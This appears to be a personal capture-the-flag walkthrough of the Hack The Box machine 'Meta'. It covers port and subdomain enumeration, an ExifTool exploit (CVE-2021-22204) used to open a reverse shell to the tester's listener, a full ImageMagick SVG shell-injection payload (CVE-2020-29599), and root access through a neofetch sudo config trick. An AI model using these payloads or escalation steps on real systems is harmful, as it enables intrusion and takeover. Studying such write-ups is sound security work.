Meta

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

└─$ nmap -p- -Pn $IP -o full-enumerate.nmap     
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-25 21:13 EDT
Nmap scan report for artcorp.htb (10.10.11.140)
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

└─$ nmap -p 22,80 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-25 21:13 EDT
Nmap scan report for artcorp.htb (10.10.11.140)
Host is up (0.097s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Home
| http-headers: 
|   Date: Sat, 26 Aug 2023 01:14:06 GMT
|   Server: Apache
|   Last-Modified: Sun, 29 Aug 2021 10:16:00 GMT
|   ETag: "114b-5cab000cc5800"
|   Accept-Ranges: bytes
|   Content-Length: 4427
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

Port Enumeration

**Port 80

• 10.10.11.140 immediately redirects to https://artcorp.htb/ so add to /etc/hosts
• http://artcorp.htb/

exif info on each image on the landing page:

• bg-showcase-2.jpg

  

• testimonials-1.jpg

  

• testimonials-2.jpg

  

• testimonials-3.jpg

  

nothin

subdomain enumeration

• wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u artcorp.htb -H "Host: FUZZ.artcorp.htb" --hh 0

  

• Added dev01.artcorp.htb to /etc/hosts

• When I upload a file it gets the exiftool information, looks exactly like what I was trying earlier but it does it within the web app. So if I had to guess we have to exploit exiftool, not sure how to get the version number but it is exiftool, not a lot out there

  

• searchsploit exiftool

  

• Ya only 1

• This version wouldn’t work but from the description of it from searchsploit -m 50911 we see it is CVE-2021-22204 which has a github https://github.com/UNICORDev/exploit-CVE-2021-22204

• Running this version it tells us I am missing dependencies

  

• python3 exploit-CVE-2021-22204.py -c "whoami"

  

Onto Foothold

Exploitation

**********Port 80

Foothold

shell as www-data

1. Upload the file we just made with

   1. python3 exploit-CVE-2021-22204.py -c "whoami" which turned into image.jpg

      

2. This exploit has a shell option so I put it to tun0 and 9001

   1. python3 exploit-CVE-2021-22204.py -s 10.10.16.4 9001 and uploaded it with listener on 9001

      

ImageMagick’s mogrify function

1. linpeash as always

   1. /etc/ImageMagick-6/mime.xml

      

This is the only thing that caught my attention in it tbh

1. cd /etc/ImageMagick-6

   

I think we found poi

1. Weirdly enough we can read all files in here

2. Hit a wall, did more enumerating, pspy32 came on in

   

We see a weird /bin/sh being executed as thomas, and looking into it it doesnt seem much. But, /var/www/dev01.artcorp.htb/convert_images/ is being called by a script in /usr/local/bin/convert_images.sh

1. cd /usr/local/bin

   1. cat convert_images.sh

      #!/bin/bash
      cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
      pkill mogrify
      

2. So this is cd'ing into the a convert_images directory, and calling mogrify to format png's with any prefix? Then killing the process.

3. mogrify --version

   

   • We see ImageMagick 7.0.10-36

4. Googled imagemagick 7.0.10-36 exploit github and the 2nd link had something interesting https://github.com/ImageMagick/ImageMagick/discussions/2851

   

5. Seems like the poi is going to be CVE-2020-29599 and the guy wrote a blog post which is a lot of shiz https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

6. His GIF video actually makes it really easy to follow: https://1.bp.blogspot.com/-ObcSWgcpUzI/X67VEhEvQ3I/AAAAAAAABYE/q-DY9BBEd1sOdqUcFyG_G84qcGmK-xnbACLcBGAsYHQ/s2048/demo2.gif

7. First we make nano poc.svg

<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Notice how we are making it read echo $(id) → a file called 0wned (’image authenticate=’ line), so to change this script, we probably change ‘echo $(id)' to like a reverse shell

1. convert poc.svg ahoi.png taking the exploit into any .png

2. cat 0wned

   

3. Change the file to contain a base64 reverse shell, rather than outputting it to a file, we just want it to be executed so this should be fine

   

4. convert poc.svg xd.png

   1. gave me a shell to my listener as www-data..

I was in the wrong directory, I realized that /usr/local/bin/convert_images.sh is running with UID=1000 right, which is thomas, and convert_images.sh is running mogrify to convert images in /var/www/dev01.artcorp.htb/convert_images/ into a png format. So rather me using convert poc.svg whatever.png, we move poc.svg into /var/www/dev01.artcorp.htb/convert_images/ and wait for a shell to our listener.

Root

neofetch

1. sudo -l

   

and it was easy

1. Nvm not as easy as I thought. So in the Sudo section for GTFObins neofetch, we are doing this right:

   

2. But when we call config we are actually calling .config/neofetch/config.conf which is interesting because made my own neofetch config so this will be fun.

3. The way neofetch works is the location that is called with --config is read from XDG_CONFIG_HOME, which is its own variable. So for example, ${XDG_CONFIG_HOME}/neofetch/config.conf

4. So if we follow logic of GTFObins, let’s first echo 'exec /bin/sh' > .config/neofetch/config.conf

   1. So instead of doing it with some $TF variable we are specifically outputting it to the neofetch config.

5. Then, call XDG_CONFIG_HOME=/home/thomas/.config/ sudo neofetch

   1. This will set the XDG_CONFIG_HOME directory where the .config/ is, and when we call sudo neofetch, it will just read .config/neofetch/config.conf which contains a simple /bin/sh

Useful resource links

https://github.com/UNICORDev/exploit-CVE-2021-22204

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

Lessons Learned